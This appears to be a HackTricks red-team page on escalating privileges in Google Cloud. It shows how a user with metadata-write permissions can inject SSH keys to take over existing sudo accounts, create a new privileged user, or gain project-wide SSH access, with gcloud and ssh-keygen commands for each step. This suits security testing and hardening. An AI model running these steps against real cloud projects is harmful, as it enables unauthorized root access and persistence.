Sponsored

GCP - Add Custom SSH Metadata

Modifying the metadata

Metadata modification on an instance could lead to significant security risks if an attacker gains the necessary permissions. The permissions commonly relevant to this path are compute.instances.setMetadata for one VM and compute.projects.setCommonInstanceMetadata for project-wide metadata. [1][4]

Incorporation of SSH Keys into Custom Metadata

On older GCP Linux images, the Python Linux Guest Environment for Google Compute Engine included the accounts daemon. That package is now superseded by google-guest-agent, whose current documentation describes the same metadata-based account and SSH-key management when OS Login is disabled. [2][3]

When metadata-based SSH-key management is active, the guest agent watches instance or project metadata for authorized-key changes. A new key can update an existing managed user's ~/.ssh/authorized_keys or provision a new user in the google-sudoers group, depending on the key format. [1][2][3]

Therefore, an attacker who can modify custom metadata may gain SSH access to a privileged account and compromise the host. This technique requires metadata-based SSH authorization: a VM with OS Login enabled ignores SSH keys stored in metadata. [1][3][4][5]

Add SSH key to existing privileged user

  1. Examine Existing SSH Keys on the Instance:

    • Execute the command to describe the instance and its metadata to locate existing SSH keys. The relevant section in the output will be under metadata, specifically the ssh-keys key. [1][4]

      gcloud compute instances describe [INSTANCE] --zone [ZONE]

    • Pay attention to the format of the SSH keys: the username precedes the key, separated by a colon. [1][4]

  2. Prepare a Text File for SSH Key Metadata:

    • Save the details of usernames and their corresponding SSH keys into a text file named meta.txt. This is essential for preserving the existing keys while adding new ones because replacing the metadata value without re-adding them erases the old keys. [1][4]

  3. Generate a New SSH Key for the Target User (alice in this example):

    • Use the ssh-keygen command to generate a new SSH key, ensuring that the comment field (-C) matches the target username. [1]

      ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub

    • Add the new public key to meta.txt, mimicking the format found in the instance's metadata. [1][4]

  4. Update the Instance's SSH Key Metadata:

    • Apply the updated SSH key metadata to the instance using the gcloud compute instances add-metadata command. [1][4]

      gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt

  5. Access the Instance Using the New SSH Key:

    • Connect to the instance with SSH using the new key, accessing the shell in the context of the target user (alice in this example). A key in instance metadata is scoped to that VM, and the resulting privileges depend on the target account's permissions. [1][5]

      ssh -i ./key alice@localhost
sudo id

Create a new privileged user and add a SSH key

If no interesting user is found, it's possible to create a new one which will be given sudo privileges when the Linux guest agent is managing metadata-based accounts. [1][3]

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH keys at project level

It's possible to broaden the reach of SSH access to multiple Virtual Machines (VMs) in a cloud environment by applying SSH keys at the project level. This approach allows SSH access to any instance within the project that hasn't explicitly blocked project-wide SSH keys and is using metadata-based SSH authorization. Here's a summarized guide: [1][4][5]

  1. Apply SSH Keys at the Project Level:

    • Use the gcloud compute project-info add-metadata command to add SSH keys from meta.txt to the project's metadata. This action ensures that the SSH keys are recognized across all VMs in the project, unless a VM has the "Block project-wide SSH keys" option enabled. [1][4]

      gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt

  2. SSH into Instances Using Project-Wide Keys:

    • With project-wide SSH keys in place, you can SSH into any instance within the project. Instances that do not block project-wide keys will accept the SSH key, granting access. [1][4][5]
    • A direct method to SSH into an instance is using the gcloud compute ssh [INSTANCE] command. This command uses your current username and the SSH keys set at the project level to attempt access. [1]

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks
Sponsored